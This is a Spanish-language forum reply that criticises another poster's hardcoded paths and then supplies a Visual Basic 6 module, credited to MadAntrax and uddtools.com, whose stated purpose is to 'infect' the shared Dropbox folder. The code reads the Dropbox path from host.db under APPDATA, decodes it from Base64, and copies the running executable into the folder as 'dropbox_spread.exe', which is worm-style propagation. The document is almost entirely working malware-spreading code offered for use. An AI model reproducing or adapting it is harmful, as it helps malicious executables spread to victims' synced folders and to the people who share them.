El código no está mal, pero no está correctamente implementado. Utilizas rutas estáticas... que ocurre si ejecutas tu código en un PC cuya carpeta de dropbox esté en "E:\ejemplo\mi_dropbox" ? Para ello utiliza lo siguiente:
'---------------------------------------------------------------------------------------
' Modulo : SpreadDropbox
' Autor : uddtools.com
' Adapatdo: MadAntrax
' Fecha : 16/09/2013
' Finalidad : Infectar la carpeta compartida Dropbox
' Uso : Call DropboxSpread(App.Path & "\" & App.EXEName & ".exe", "dropbox_spread.exe")
' Idea extraída del foro uddtools.com, se ha modificado el código quitado dependencias
' a Microsoft Scripting Runtime
'---------------------------------------------------------------------------------------
Private Sub Form_Load()
MsgBox "Dropbox Folder = " & getDropboxPath
Call DropboxSpread(App.Path & "\" & App.EXEName & ".exe", "dropbox_spread.exe")
End Sub
Public Sub DropboxSpread(sFilePath As String, sFileName As String)
FileCopy sFilePath, getDropboxPath & "\" & sFileName
End Sub
Private Function getDropboxPath() As String
getDropboxPath = Base64Decode(Read_host(Environ("APPDATA") & "\Dropbox\host.db"))
End Function
Private Function Read_host(sFile As String) As String
Dim Code As String
Open sFile For Binary Access Read As #1
Code = Space(LOF(1))
Get #1, , Code
Close #1
Read_host = Split(Code, Chr(10))(1)
End Function
'Credits to pscode.com
Function Base64Decode(ByVal base64String As String) As String
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim dataLength, sOut, groupBegin
base64String = Replace(base64String, vbCrLf, "")
base64String = Replace(base64String, vbTab, "")
base64String = Replace(base64String, " ", "")
dataLength = Len(base64String)
If dataLength Mod 4 <> 0 Then Exit Function
For groupBegin = 1 To dataLength Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
numDataBytes = 3
nGroup = 0
For CharCounter = 0 To 3
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
If thisChar = "=" Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
End If
If thisData = -1 Then Exit Function
nGroup = 64 * nGroup + thisData
Next
nGroup = Hex(nGroup)
nGroup = String(6 - Len(nGroup), "0") & nGroup
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
sOut = sOut & Left(pOut, numDataBytes)
Next
Base64Decode = sOut
End Function